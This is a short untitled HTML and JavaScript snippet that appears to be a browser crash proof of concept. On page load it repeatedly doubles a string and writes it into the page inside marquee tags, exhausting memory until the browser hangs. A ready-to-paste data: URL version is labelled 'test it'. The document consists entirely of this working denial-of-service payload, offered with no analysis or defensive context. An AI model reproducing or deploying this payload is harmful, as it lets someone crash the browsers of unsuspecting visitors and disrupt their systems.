Untitled

<body onload="javascript:Attack_me();"></body>

<script>

function Attack_me() {

var buffer = '\x42';
for (i =0;i<1337;i++) {
buffer+=buffer+'\x42';
document.write('<html><marquee><h2>'+buffer+buffer);
}

}

</script>

test it - data:text/html, <body onload=Attack_me()><marquee><h2>1</h2><script>function Attack_me() {var buffer = '\x42';for (i =0;i<1337;i++) {buffer+=buffer+'\x42';document.write('<html><marquee><h2>'+buffer+buffer);}}</script>